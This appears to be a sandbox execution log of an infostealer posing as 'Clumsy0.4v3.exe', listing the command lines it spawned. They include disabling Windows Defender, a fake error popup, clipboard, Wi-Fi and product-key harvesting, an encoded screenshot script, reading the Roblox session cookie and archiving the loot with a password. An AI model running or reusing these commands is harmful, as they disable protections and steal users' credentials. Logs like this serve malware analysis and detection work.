F5b7QtZTeDTvjtjtP8g6DjQZLHJmXj2W/vziSZF01TpqsrQTPMtGj007glUdbcFWrjktW9B2Hxqe3qrMHnrwUZM9gP7cTKdh9J7muvUC3QRYA/Luy29d0b4+Nd2PXUHIV2w79hy6VI7owuqOc44++WpFLyeDN6rpVymKQ+GAtqEx99hq8gJqexXiDGGzBM2TneIlQGJcNIrOTWfbuB6JC0gZns+0hsqxn5sGnEUA5+UOWaDaprXgfzhr/cxlK0ernE9yVrtnIPs2ZOEtCh0Ln1UJlcrpp6wZvNphcUnPYTUQaBhIfVhvX6UVct16Dv9xuYg= 131968
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd MIIDTzCCAjegAwIBAgIRCkHIS57iN0WniNqpURTwYkUwDQYJKoZIhvcNAQELBQAwQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMB4XDTI0MTAxNDIyMzIzN1oXDTI1MTAxNTIyMzIzN1owQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1lF4SVzx1m3FoRIIB1/H+flv7ueq1eUsMfyu97SvCeeg6IUpnoRF3rmsqsh4pNAJhzmlPYBA824b0zxYLIIM/KcdIYkKvsxVj+zilqm0Md+9sezJRFxK9jykeAFY90/WU5y1H2vfQz/QhhX9mJPD61uhVbSxfslgsaUV+uu9XgqmVEUuJsyK1kjj0AGQMLsOQrz8eaeaKzz3EvQruWI5ZQjULExnd3pdwn/prZGEcx555Jlzrm4ytC/t0ESIS7j93od2DYDhEiG2WRGecG1S+UAGWyY/4QyzqULEYMGP+9HlpGCdidaTB44s7M+wbpuk77F4bYb72Mml8Rpx0YieWQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBxjAdBgNVHQ4EFgQUrTcQn6QJOEOJSo7B7X0iRVmRbU4wDQYJKoZIhvcNAQELBQADggEBAMlEssMgP2TBgCdQ5rBfF5b7QtZTeDTvjtjtP8g6DjQZLHJmXj2W/vziSZF01TpqsrQTPMtGj007glUdbcFWrjktW9B2Hxqe3qrMHnrwUZM9gP7cTKdh9J7muvUC3QRYA/Luy29d0b4+Nd2PXUHIV2w79hy6VI7owuqOc44++WpFLyeDN6rpVymKQ+GAtqEx99hq8gJqexXiDGGzBM2TneIlQGJcNIrOTWfbuB6JC0gZns+0hsqxn5sGnEUA5+UOWaDaprXgfzhr/cxlK0ernE9yVrtnIPs2ZOEtCh0Ln1UJlcrpp6wZvNphcUnPYTUQaBhIfVhvX6UVct16Dv9xuYg= 131968
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v400sybl\v400sybl.cmdline"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES911.tmp" "c:\Users\Admin\AppData\Local\Temp\v400sybl\CSC1D75C557F1426BB82727C1775E1BA2.TMP"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4004"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4004"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4004
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4004
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4128 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\HML0g.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\HML0g.zip" *
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
C:\Windows\system32\cmd.exe
